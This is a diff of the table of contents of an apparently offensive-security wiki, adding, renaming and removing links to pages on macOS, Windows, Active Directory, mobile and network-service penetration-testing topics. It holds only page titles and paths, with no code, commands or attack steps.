- [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
- [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)
- [macOS Files, Folders, Binaries & Memory](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md)
@@ -186,6 +244,9 @@
- [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
- [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
- [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
+ - [macOS Quick Look Generators](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-quicklook-generators.md)
+ - [macOS Automator, Preference Panes & NSServices](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-automator-preference-panes-nsservices.md)
+ - [macOS XPC Mach Services Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-xpc-mach-services-abuse.md)
- [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)
- [macOS Gatekeeper / Quarantine / XProtect](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md)
- [macOS Launch/Environment Constraints & Trust Cache](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.md)
@@ -200,10 +261,14 @@
- [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md)
- [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
- [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
+ - [macOS TCC Credential & Data Theft](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-credential-and-data-theft.md)
- [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
- [macOS - AMFI - AppleMobileFileIntegrity](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md)
- [macOS MACF - Mandatory Access Control Framework](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md)
- [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
+ - [macOS Code Signing Weaknesses & Sandbox Escapes](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing-weaknesses-and-sandbox-escapes.md)
+ - [macOS Sealed System Volume & DataVault](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sealed-system-volume-and-datavault.md)
+ - [macOS Input Monitoring, Screen Capture & Accessibility](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-input-monitoring-screen-capture-accessibility.md)
- [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
- [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
- [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
@@ -217,8 +282,13 @@
# 🪟 Windows Hardening
+- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
+ - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
+ - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
+ - [Kernel Race Condition Object Manager Slowdown](windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown.md)
+ - [Notepad Plus Plus Plugin Autoload Persistence](windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@@ -226,30 +296,43 @@
- [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
- [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
- - [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
+ - [Advanced Html Staged Dll Sideloading](windows-hardening/windows-local-privilege-escalation/dll-hijacking/advanced-html-staged-dll-sideloading.md)
+ - [Windows CPython Build-Landmark and sys.path Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/windows-cpython-build-landmark-sys-path-hijacking.md)
+ - [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc.md)
- [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
- [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
- [Integrity Levels](windows-hardening/windows-local-privilege-escalation/integrity-levels.md)
- [JuicyPotato](windows-hardening/windows-local-privilege-escalation/juicypotato.md)
- [Leaked Handle Exploitation](windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md)
+ - [Local NTLM Reflection via SMB Arbitrary Port](windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port.md)
- [MSI Wrapper](windows-hardening/windows-local-privilege-escalation/msi-wrapper.md)
- [Named Pipe Client Impersonation](windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md)
- [Privilege Escalation with Autoruns](windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md)
- [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
- [SeDebug + SeImpersonate copy token](windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md)
- [SeImpersonate from High To System](windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md)
+ - [Semanagevolume Perform Volume Maintenance Tasks](windows-hardening/windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md)
+ - [Service Triggers](windows-hardening/windows-local-privilege-escalation/service-triggers.md)
+ - [Telephony Tapsrv Arbitrary Dword Write To Rce](windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce.md)
+ - [Secure Desktop Accessibility Registry Propagation LPE (RegPwn)](windows-hardening/windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn.md)
+ - [Uiaccess Admin Protection Bypass](windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md)
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
+ - [BadSuccessor](windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md)
- [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
- [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
- [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
+ - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
+ - [Ad Dynamic Objects Anti Forensics](windows-hardening/active-directory-methodology/ad-dynamic-objects-anti-forensics.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
+ - [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
+ - [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
@@ -259,12 +342,15 @@
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
+ - [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
+ - [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
+ - [Ldap Signing And Channel Binding](windows-hardening/active-directory-methodology/ldap-signing-and-channel-binding.md)
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
- [Pass the Ticket](windows-hardening/active-directory-methodology/pass-the-ticket.md)
- [Password Spraying / Brute Force](windows-hardening/active-directory-methodology/password-spraying.md)
@@ -273,10 +359,12 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
+ - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
- [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
+ - [Timeroasting](windows-hardening/active-directory-methodology/TimeRoasting.md)
- [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
- [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
- [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
@@ -284,28 +372,40 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
+ - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
+ - [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
+ - [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
-- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
+- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
- [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
+ - [Windows Registry Hive Exploitation](windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation.md)
- [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
- [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
+- [Mythic](windows-hardening/mythic.md)
+- [Protocol Handler Shell Execute Abuse](windows-hardening/protocol-handler-shell-execute-abuse.md)
# 📱 Mobile Pentesting
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
+ - [Abusing Android Media Pipelines Image Parsers](mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md)
+ - [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
+ - [Android Anti Instrumentation And Ssl Pinning Bypass](mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md)
+ - [Android Application Level Virtualization](mobile-pentesting/android-app-pentesting/android-application-level-virtualization.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
+ - [Android Enterprise Work Profile Bypass](mobile-pentesting/android-app-pentesting/android-enterprise-work-profile-bypass.md)
+ - [Android Hce Nfc Emv Relay Attacks](mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md)
+ - [Android Physical Attacks](mobile-pentesting/android-app-pentesting/android-physical-attacks.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
+ - [Android VPN Bypass](mobile-pentesting/android-app-pentesting/android-vpn-bypass.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
- [APK decompilers](mobile-pentesting/android-app-pentesting/apk-decompilers.md)
- [AVD - Android Virtual Device](mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md)
@@ -314,24 +414,32 @@
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+ - [Firmware Level Zygote Backdoor Libandroid Runtime](mobile-pentesting/android-app-pentesting/firmware-level-zygote-backdoor-libandroid_runtime.md)
+ - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+ - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
+ - [Inputmethodservice Ime Abuse](mobile-pentesting/android-app-pentesting/inputmethodservice-ime-abuse.md)
+ - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
+ - [Play Integrity Attestation Bypass](mobile-pentesting/android-app-pentesting/play-integrity-attestation-bypass.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
+ - [Shizuku Privileged Api](mobile-pentesting/android-app-pentesting/shizuku-privileged-api.md)
+ - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
+ - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@@ -340,6 +448,7 @@
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+ - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
@@ -347,11 +456,14 @@
- [iOS Universal Links](mobile-pentesting/ios-pentesting/ios-universal-links.md)
- [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md)
- [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md)
+ - [Itunesstored Bookassetd Sandbox Escape](mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md)
+ - [Zero Click Messaging Image Parser Chains](mobile-pentesting/ios-pentesting/zero-click-messaging-image-parser-chains.md)
- [Cordova Apps](mobile-pentesting/cordova-apps.md)
- [Xamarin Apps](mobile-pentesting/xamarin-apps.md)
# 👽 Network Services Pentesting
+- [4222 Pentesting Nats](network-services-pentesting/4222-pentesting-nats.md)
- [Pentesting JDWP - Java Debug Wire Protocol](network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md)
- [Pentesting Printers$$external:http://hacking-printers.net/wiki/index.php/Main_Page$$]()
- [Pentesting SAP](network-services-pentesting/pentesting-sap.md)
@@ -383,6 +495,9 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
+ - [Custom Protocols](network-services-pentesting/pentesting-web/custom-protocols.md)
+ - [Django](network-services-pentesting/pentesting-web/django.md)
+ - [Dotnet Soap Wsdl Client Exploitation](network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@@ -391,24 +506,27 @@
- [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
- [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+ - [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
+ - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
+ - [MeshCentral](network-services-pentesting/pentesting-web/meshcentral.md)
+ - [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
+ - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- - [NextJS](network-services-pentesting/pentesting-web/nextjs-1.md)
+ - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+ - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -426,17 +544,24 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
+ - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
+ - [Perl Tricks](network-services-pentesting/pentesting-web/perl-tricks.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
+ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
+ - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
+ - [Roundcube](network-services-pentesting/pentesting-web/roundcube.md)
+ - [ServiceNow](network-services-pentesting/pentesting-web/servicenow.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
+ - [Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd](network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd.md)
- [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
+ - [Vuejs](network-services-pentesting/pentesting-web/vuejs.md)
- [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
- [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
- [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
@@ -445,6 +570,9 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+ - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
+ - [Zabbix](network-services-pentesting/pentesting-web/zabbix.md)
+ - [Zoneminder Motioneye Motion](network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
@@ -452,6 +580,7 @@
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
+ - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
@@ -481,6 +610,7 @@
- [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
- [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
- [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
+- [Pentesting ISO 8583 Payment Sockets](network-services-pentesting/pentesting-iso-8583-payment-sockets.md)
- [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
- [2301,2381 - Pentesting Compaq/HP Insight Manager](network-services-pentesting/pentesting-compaq-hp-insight-manager.md)
- [2375, 2376 Pentesting Docker](network-services-pentesting/2375-pentesting-docker.md)
@@ -520,9 +650,11 @@
- [10000 - Pentesting Network Data Management Protocol (ndmp)](network-services-pentesting/10000-network-data-management-protocol-ndmp.md)
- [11211 - Pentesting Memcache](network-services-pentesting/11211-memcache/README.md)
- [Memcache Commands](network-services-pentesting/11211-memcache/memcache-commands.md)
+- [12346/udp - Pentesting Cisco Catalyst SD-WAN Control Plane](network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane.md)
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
+- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@@ -539,6 +671,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
+ - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
